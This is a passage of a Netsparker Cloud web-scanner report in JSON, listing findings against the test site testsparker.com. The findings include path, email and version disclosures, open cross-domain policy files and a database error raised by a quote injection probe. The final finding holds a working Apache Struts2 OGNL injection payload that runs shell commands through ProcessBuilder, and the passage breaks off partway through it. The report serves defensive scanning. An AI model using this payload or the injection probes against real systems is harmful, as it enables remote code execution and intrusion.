","Impact":"
There is no direct impact; however, this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/WS_FTP.log","Type":"PossibleInternalWindowsPathLeakage","Name":"[Possible] Internal Path Disclosure (Windows)","Severity":"Information","Certainty":75,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"13","Cwe":"200","Capec":"118","Pci31":"","Pci32":"","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /WS_FTP.log HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/WS_FTP.log\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":95.4689,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nVary: Accept-Encoding\r\nContent-Length: 303\r\nLast-Modified: Fri, 03 Feb 2017 10:01:06 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/plain\r\nContent-Encoding: \r\nDate: Wed, 23 Aug 2017 07:43:41 GMT\r\nETag: \"05d556f47ed21:0\"\r\n\r\n2014.02.15 16:46 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.23 15:33 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.23 15:33 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.03.06 11:51 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.03.06 11:51 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 10:47 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 10:47 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 11:52 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 11:52 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.05.26 11:59 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.05.26 11:59 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG\r\n2014.09.25 13:00 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt\r\n2014.09.25 13:00 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG\r\n2014.09.25 16:48 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt\r\n2014.09.25 16:48 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG\r\n2014.02.15 14:41 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt\r\n2014.02.15 14:41 B C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG"},"ExtraInformation":[{"Name":"IdentifiedInternalPaths","Value":"C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\feedback.txt, C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie232\\_private\\WS_FTP.LOG, C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\feedback.txt, C:\\Documents and Settings\\testsparker\\My Documents\\My Web Sites\\ie333\\_private\\WS_FTP.LOG"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a possible Internal Path Disclosure (Windows) in the document.

","Impact":"
There is no direct impact, however this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Ensure this is not a false positive. Due to the nature of the issue, Netsparker Cloud could not confirm that this file path was actually the real file path of the target web server.
  • Error messages should be disabled.
  • Remove this kind of sensitive data from the output.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/?r=/Dashboard/","Type":"EmailDisclosure","Name":"Email Address Disclosure","Severity":"Information","Certainty":95,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"13","Cwe":"200","Capec":"118","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /administrator/?r=/Dashboard/ HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"r","Type":"Querystring","Value":"/Dashboard/","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":286.66700000000003,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5365\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:43 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n \r\n\r\n

Login

\r\n
\r\n\r\n\t
(alan@turing.com)\r\n
\r\n \r\n\t\t\t\r\n\t\t\r\n\t
\r\n\t
(theturingtest)\r\n
\r\n \r\n\t
\r\n\t
\r\n\t\t
\r\n \r\n\t
\r\n
\r\n

\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Email Address(es)","Value":"alan@turing.com"}],"KnownVulnerabilities":[],"Description":"Netsparker Cloud identified an email address disclosure. \n","Impact":"
\n Email addresses discovered within the application can be used by both spam email engines and also brute-force tools. Furthermore, valid email addresses may lead to social engineering attacks.\n
\n","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
\n Use generic email addresses such as contact@ or info@ for general communications and remove user/people-specific email addresses from the website; should this be required, use submission forms for this purpose.\n
\n","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"IisVersionDisclosure","Name":"Version Disclosure (IIS)","Severity":"Information","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"45","Cwe":"205","Capec":"170","Pci31":"","Pci32":"","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":187.5028,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; path=/; HttpOnly\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:21 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"ExtractedVersion","Value":"Microsoft-IIS/8.5"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a version disclosure (IIS) in target web server's HTTP response.

This information can help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of IIS.

","Impact":"
An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/sitemap.xml","Type":"SitemapIdentified","Name":"Sitemap Detected","Severity":"Information","Certainty":100,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /sitemap.xml HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":109.37480000000001,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nVary: Accept-Encoding\r\nContent-Length: 344\r\nLast-Modified: Fri, 03 Feb 2017 10:01:08 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/xml\r\nContent-Encoding: \r\nDate: Wed, 23 Aug 2017 07:43:26 GMT\r\nETag: \"08a867047ed21:0\"\r\n\r\n\r\n\r\n \r\n http://aspnet.testsparker.com/WS/\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com/statics/data.mdb\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com.test:83/statics/data.mdb\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com/statics/pear.sh\r\n monthly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com/administrator/Default.aspx\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n\r\n \r\n http://aspnet.testsparker.com.test/WS/\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com.test/statics/pear.sh\r\n monthly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com.test/administrator/Default.aspx\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n\r\n\r\n \r\n http://aspnet.testsparker.com.test:83/WS/\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com.test:83/statics/pear.sh\r\n monthly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com.test:83/administrator/Default.aspx\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n\r\n \r\n http://aspnet.testsparker.com.local/WS/\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com.local/statics/pear.sh\r\n monthly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n http://aspnet.testsparker.com.local/administrator/Default.aspx\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n\r\n \r\n /WS/\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n /statics/pear.sh\r\n monthly\r\n 2014-09-20\r\n 0.6\r\n \r\n \r\n /administrator/Default.aspx\r\n weekly\r\n 2014-09-20\r\n 0.6\r\n \r\n\r\n \r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a sitemap file on the target website.

","Impact":"
This issue is reported as additional information only. There is no direct impact arising from this issue.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/robots.txt","Type":"RobotsIdentified","Name":"Robots.txt Detected","Severity":"Information","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /robots.txt HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":101.70790000000001,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 56\r\nLast-Modified: Fri, 03 Feb 2017 10:01:08 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/plain\r\nDate: Wed, 23 Aug 2017 07:43:27 GMT\r\nETag: \"08a867047ed21:0\"\r\n\r\nUser-agent: *\r\nDisallow: /statics/\r\nDisallow: /panel/"},"ExtraInformation":[{"Name":"Interesting Robots.txt Entries","Value":"Disallow: /statics/, Disallow: /panel/"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a Robots.txt file with potentially sensitive content.

","Impact":"
Depending on the content of the file, an attacker might discover hidden directories and files.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Ensure you have nothing sensitive exposed within this file, such as the path of an administration panel. If disallowed paths are sensitive and you want to keep it from unauthorized access, do not write them in the Robots.txt, and ensure they are correctly protected by means of authentication.

Robots.txt is only used to instruct search robots which resources should be indexed and which ones are not.

The following block can be used to tell the crawler to index files under /web/ and ignore the rest:
User-Agent: *
Allow: /web/
Disallow: /

Please note that when you use the instructions above, search engines will not index your website except for the specified directories.

If you want to hide certain section of the website from the search engines X-Robots-Tag can be set in the response header to tell crawlers whether the file should be indexed or not:

X-Robots-Tag: googlebot: nofollow
X-Robots-Tag: otherbot: noindex, nofollow

By using X-Robots-Tag you don't have to list the these files in your Robots.txt.

It is also not possible to prevent media files from being indexed by putting using Robots Meta Tags. X-Robots-Tag resolves this issue as well.

For Apache, the following snippet can be put into httpd.conf or an .htaccess file to restrict crawlers to index multimedia files without exposing them in Robots.txt

<Files ~ \"\\.pdf$\">
# Don't index PDF files.
Header set X-Robots-Tag \"noindex, nofollow\"
</Files>
<Files ~ \"\\.(png|jpe?g|gif)$\">
#Don't index image files.
Header set X-Robots-Tag \"noindex\"
</Files>

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/crossdomain.xml","Type":"OpenCrossDomainXml","Name":"Open Policy Crossdomain.xml Detected","Severity":"Medium","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A5","Wasc":"15","Cwe":"16","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /crossdomain.xml HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":93.7543,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 265\r\nLast-Modified: Fri, 03 Feb 2017 10:01:08 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/xml\r\nDate: Wed, 23 Aug 2017 07:43:26 GMT\r\nETag: \"08a867047ed21:0\"\r\n\r\n\n\n\n \n \n\n"},"ExtraInformation":[{"Name":"Policy Rules","Value":""}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected an open policy Crossdomain.xml file.

","Impact":"
Open policy Crossdomain.xml file allows other SWF files to make HTTP requests to your web server and see its response. This can be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Configure your Crossdomain.xml to prevent access from everywhere to your domain.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/clientaccesspolicy.xml","Type":"OpenClientAccessPolicy","Name":"Open Silverlight Client Access Policy","Severity":"Medium","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A5","Wasc":"15","Cwe":"16","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /clientaccesspolicy.xml HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":109.3725,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 306\r\nLast-Modified: Fri, 03 Feb 2017 10:01:08 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/xml\r\nDate: Wed, 23 Aug 2017 07:43:27 GMT\r\nETag: \"08a867047ed21:0\"\r\n\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n"},"ExtraInformation":[{"Name":"Policy Rules","Value":"http://*"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected an open Silverlight client access policy file (ClientAccessPolicy.xml).

","Impact":"
The ClientAccessPolicy.xml file allows other Silverlight client services to make HTTP requests to your web server and see its response. This might be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Configure your ClientAccessPolicy.xml file to prevent access from everywhere outside your domain.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/ConverterResponse.aspx","Type":"DatabaseErrorMessages","Name":"Database Error Message Disclosure","Severity":"Low","Certainty":10,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A5","Wasc":"13","Cwe":"210","Capec":"118","Pci31":"6.5.5","Pci32":"6.5.5","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /ConverterResponse.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: application/json, text/javascript, */*; q=0.01\r\nOrigin: http://testsparker.com\r\nReferer: http://testsparker.com/Converter.aspx\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nX-Requested-With: XMLHttpRequest\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 19\r\nContent-Type: application/json; charset=UTF-8\r\n\r\n{\"btcAmount\":\"%27\"}","Parameters":[{"Name":"btcAmount","Type":"Json","Value":"%27","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":93.76,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 1623\r\nContent-Type: application/json; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:00:20 GMT\r\nCache-Control: private\r\n\r\nIncorrect syntax near '27'. at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)\r\n at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)\r\n at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)\r\n at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData()\r\n at System.Data.SqlClient.SqlDataReader.get_MetaData()\r\n at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString)\r\n at System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite, SqlDataReader ds)\r\n at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean asyncWrite)\r\n at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method)\r\n at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method)\r\n at System.Data.SqlClient.SqlCommand.ExecuteReader()\r\n at UserControls_Vulnerabilities_converterResponse_AjaxJsonSqlInjection.Page_Load(Object sender, EventArgs e)"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a database error message disclosure.

","Impact":"
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL injection vulnerability. Most of the time Netsparker Cloud will detect and report that problem separately.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/WS_search.asmx","Type":"ProgrammingErrorMessages","Name":"Programming Error Message","Severity":"Low","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A5","Wasc":"13","Cwe":"210","Capec":"118","Pci31":"6.5.5","Pci32":"6.5.5","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /WS_search.asmx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 1880\r\nContent-Type: multipart/form-data; boundary=807a09bcdff6488481b5a5661bf0620e\r\n\r\n--807a09bcdff6488481b5a5661bf0620e\r\nContent-Disposition: form-data; name=\"ns\"; filename=\"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\u0000b\"\r\nContent-Type: application/octet-stream\r\n\r\n%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new 